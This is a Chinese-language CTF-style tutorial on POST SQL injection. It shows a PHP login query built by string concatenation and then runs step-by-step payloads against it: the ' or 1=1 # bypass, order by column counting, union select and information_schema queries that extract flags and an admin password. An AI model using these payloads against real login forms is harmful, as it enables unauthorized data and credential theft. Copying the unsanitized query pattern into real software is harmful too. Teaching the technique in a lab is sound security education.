当前位置:   article > 正文

POST注入

post注入

POST注入

一、POST注入介绍

注入攻击的本质是把用户输入的数据当做代码执行,POST注入一般会在表单的地方。
1.有两个关键条件:
①用户能够控制输入
②原本程序要执行的代码拼接了用户输入的数据
2.POST注入高危点:
登录框
查询框
各种和数据库有交互的框
3.最经典的POST注入莫过于万能密码:
’or 1=1 #
万能密码就是引出注入手法,你在登录的时候输入什么都能登录

二、例题

例如第一题
首先在这里插入图片描述
首先我们查看源码在这里插入图片描述

$sql = 'select *from user where username =\''.$username.'\' and password=\''.$password.'\'';
$result = mysqli_query($conn,$sql);
  • 1
  • 2

我们会发现直接执行了sql的拼接语句,中间没有任何过滤,所以判断存在SQL注入,所以我们用’闭合$username前的内容,同时注释掉后面的内容,达到和数据库建立连接

'or 1=1 #
  • 1
select * from user where username='' or 1=1 #
查询user表中username为空的值,或者1=1的值,1=1恒成立所以无论输入什么都会有数据显示
  • 1
  • 2

所以第一步我们先用万能密码’or 1=1 #发现存在POST注入
在这里插入图片描述
第二步用order by查字段数

1' or 1=1 order by 1 #
1' or 1=1 order by 2 #
1' or 1=1 order by 3 #
  • 1
  • 2
  • 3

order by 4时结果显示错误,判断有三个字段在这里插入图片描述
第三步判断回显点

'union select 1 #
'union select 1,2 #
'union select 1,2,3 #
  • 1
  • 2
  • 3

得到回显点是2和3
在这里插入图片描述

第四步,我们用database()查询数据库名

'union select 1,2,database() #
  • 1

得出库名post_error
在这里插入图片描述
第五步查表名

'union select 1,2,table_name from information_schema.tables where table_schema="post_error" limit 0,1#
  • 1

得出表名flag,user
在这里插入图片描述
在这里插入图片描述
第六步我们查字段名

'union select 1,2,column_name from information_schema.columns where table_name='flag' limit 0,1#
...
'union select 1,2,column_name from information_schema.columns where table_name='user' limit 1,1#
  • 1
  • 2
  • 3
'union select 1,2,column_name from information_schema.columns where table_name='user' limit 0,1#
  • 1

flag表中字段:id,flag
user表中字段:id,username,password
在这里插入图片描述
在这里插入图片描述
第七步我们来查表中数据
将字段依次输入

'union select 1,2,flag from flag limit 0,1#
  • 1
'union select 1,2,username from user limit 0,1#
  • 1

查询结果分别为:id from flag-> 1,2,3
flag from flag-> zKaQ-PostK1,zKaQ-XZT,zKaQ-FlagA1
username from user->admin
password from user->as4dsa2dsad2a3

在这里插入图片描述
在这里插入图片描述
成功找到flage为zKaQ-PostK1
在这里插入图片描述

本文内容由网友自发贡献,转载请注明出处:https://www.wpsshop.cn/w/知新_RL/article/detail/863187
推荐阅读
相关标签
  

闽ICP备14008679号